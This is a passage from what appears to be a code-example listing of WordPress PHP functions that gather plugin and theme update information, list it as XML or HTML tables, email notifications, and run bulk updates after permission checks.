     $automatic_backups = class_exists('UpdraftPlus_Options') && class_exists('UpdraftPlus_Addon_Autobackup') && UpdraftPlus_Options::get_updraft_option('updraft_autobackup_default', true) ? true : false;
     return $this->_response(array('plugins' => $plugin_updates, 'themes' => $theme_updates, 'core' => $core_updates, 'meta' => array('request_filesystem_credentials' => $request_filesystem_credentials, 'filesystem_form' => $filesystem_form, 'automatic_backups' => $automatic_backups)));
 }
         echo "<slug>" . $plugin->update->slug . "</slug>\r\n";
         echo "<author><![CDATA[" . $plugin->Author . "]]></author>\r\n";
         echo "<author_uri><![CDATA[" . $plugin->AuthorURI . "]]></author_uri>\r\n";
         echo "<text_domain>" . $plugin->TextDomain . "</text_domain>\r\n";
         echo "<domain_path>" . $plugin->DomainPath . "</domain_path>\r\n";
         echo "<network>" . $plugin->Network . "</network>\r\n";
         echo "<current_version>" . $plugin->Version . "</current_version>\r\n";
         echo "<new_version>" . $plugin->update->new_version . "</new_version>\r\n";
         echo "<url><![CDATA[" . $plugin->update->url . "]]></url>\r\n";
         echo "<package><![CDATA[" . $plugin->update->package . "]]></package>\r\n";
         echo "</plugin>\r\n";
     }
     echo "</plugins>\r\n";
 }
 // Themes
 $theme_updates = get_theme_updates();
 if (count($theme_updates) > 0) {
     echo "<themes>\r\n";
     foreach ($theme_updates as $key => $theme) {
         // Change to array...some object properties have a space in them
         $theme = get_object_vars($theme);
         echo "<theme>\r\n";
         echo "<name><![CDATA[" . $theme['Name'] . "]]></name>\r\n";
         echo "<title><![CDATA[" . $theme['Title'] . "]]></title>\r\n";
         echo "<description><![CDATA[" . $theme['Description'] . "]]></description>\r\n";
         echo "<author><![CDATA[" . $theme['Author'] . "]]></author>\r\n";
         echo "<author_name><![CDATA[" . $theme['Author Name'] . "]]></author_name>\r\n";
         echo "<author_uri><![CDATA[" . $theme['Author URI'] . "]]></author_uri>\r\n";
         echo "<current_version>" . $theme['Version'] . "</current_version>\r\n";
         echo "<new_version>" . $theme['update']['new_version'] . "</new_version>\r\n";
         echo "<template>" . $theme['Template'] . "</template>\r\n";
Example #14
0
/**
 * Retrieve the information for the available updates.
 *
 * @return string HTML code for a table with the updates information.
 */
function sucuriscan_posthack_updates_content($send_email = false)
{
    if (!function_exists('wp_update_plugins') || !function_exists('get_plugin_updates') || !function_exists('wp_update_themes') || !function_exists('get_theme_updates')) {
        return false;
    }
    $response = '';
    $result = wp_update_plugins();
    $updates = get_plugin_updates();
    if (is_array($updates) && !empty($updates)) {
        $counter = 0;
        foreach ($updates as $data) {
            $css_class = $counter % 2 == 0 ? '' : 'alternate';
            $params = array('Update.CssClass' => $css_class, 'Update.IconType' => 'plugins', 'Update.Extension' => SucuriScan::excerpt($data->Name, 35), 'Update.Version' => $data->Version, 'Update.NewVersion' => 'Unknown', 'Update.TestedWith' => 'Unknown', 'Update.ArchiveUrl' => 'Unknown', 'Update.MarketUrl' => 'Unknown');
            if (property_exists($data->update, 'new_version')) {
                $params['Update.NewVersion'] = $data->update->new_version;
            }
            if (property_exists($data->update, 'tested')) {
                $params['Update.TestedWith'] = "WordPress " . $data->update->tested;
            }
            if (property_exists($data->update, 'package')) {
                $params['Update.ArchiveUrl'] = $data->update->package;
            }
            if (property_exists($data->update, 'url')) {
                $params['Update.MarketUrl'] = $data->update->url;
            }
            $response .= SucuriScanTemplate::getSnippet('posthack-updates', $params);
            $counter++;
        }
    }
    // Check for available theme updates.
    $result = wp_update_themes();
    $updates = get_theme_updates();
    if (is_array($updates) && !empty($updates)) {
        $counter = 0;
        foreach ($updates as $data) {
            $css_class = $counter % 2 == 0 ? '' : 'alternate';
            $response .= SucuriScanTemplate::getSnippet('posthack-updates', array('Update.CssClass' => $css_class, 'Update.IconType' => 'appearance', 'Update.Extension' => SucuriScan::excerpt($data->Name, 35), 'Update.Version' => $data->Version, 'Update.NewVersion' => $data->update['new_version'], 'Update.TestedWith' => 'Newest WordPress', 'Update.ArchiveUrl' => $data->update['package'], 'Update.MarketUrl' => $data->update['url']));
            $counter++;
        }
    }
    if (!is_string($response) || empty($response)) {
        return false;
    }
    // Send an email notification with the affected files.
    if ($send_email === true) {
        $params = array('AvailableUpdates.Content' => $response);
        $content = SucuriScanTemplate::getSection('posthack-updates-notification', $params);
        $sent = SucuriScanEvent::notify_event('available_updates', $content);
        return $sent;
    }
    return $response;
}
Example #15
0
/**
 * Install all available updates.
 *
 * Updates themes, plugins, core and translations.
 */
function su_update_all()
{
    if (!current_user_can('update_core') && !current_user_can('update_plugins') && !current_user_can('update_themes')) {
        wp_die(__('You do not have sufficient permissions to update this site.'));
    }
    check_admin_referer('upgrade-core');
    require_once ABSPATH . 'wp-admin/admin-header.php';
    // Update themes.
    $themes = array_keys(get_theme_updates());
    if (!empty($themes)) {
        $url = 'update.php?action=update-selected-themes&themes=' . urlencode(implode(',', $themes));
        $url = wp_nonce_url($url, 'bulk-update-themes');
        ?>
		<div class="wrap">
			<h1><?php 
        _e('Update Themes');
        ?>
</h1>
			<iframe src="<?php 
        echo $url;
        ?>
" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0" title="<?php 
        esc_attr_e('Update progress');
        ?>
"></iframe>
		</div>
		<?php 
    }
    // Update plugins.
    $plugins = array_keys(get_plugin_updates());
    if (!empty($plugins)) {
        $url = 'update.php?action=update-selected&plugins=' . urlencode(implode(',', $plugins));
        $url = wp_nonce_url($url, 'bulk-update-plugins');
        ?>
		<div class="wrap">
			<h1><?php 
        _e('Update Plugins');
        ?>
</h1>
			<iframe src="<?php 
        echo $url;
        ?>
" style="width: 100%; height: 100%; min-height: 750px;" frameborder="0" title="<?php 
        esc_attr_e('Update progress');
        ?>
"></iframe>
		</div>
		<?php 
    }
    include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
    // Update translations.
    $url = 'update-core.php?action=do-translation-upgrade';
    $nonce = 'upgrade-translations';
    $title = __('Update Translations');
    $context = WP_LANG_DIR;
    $upgrader = new Language_Pack_Upgrader(new Language_Pack_Upgrader_Skin(compact('url', 'nonce', 'title', 'context')));
    $upgrader->bulk_upgrade();
    // Update core.
    do_core_upgrade();
    include ABSPATH . 'wp-admin/admin-footer.php';
}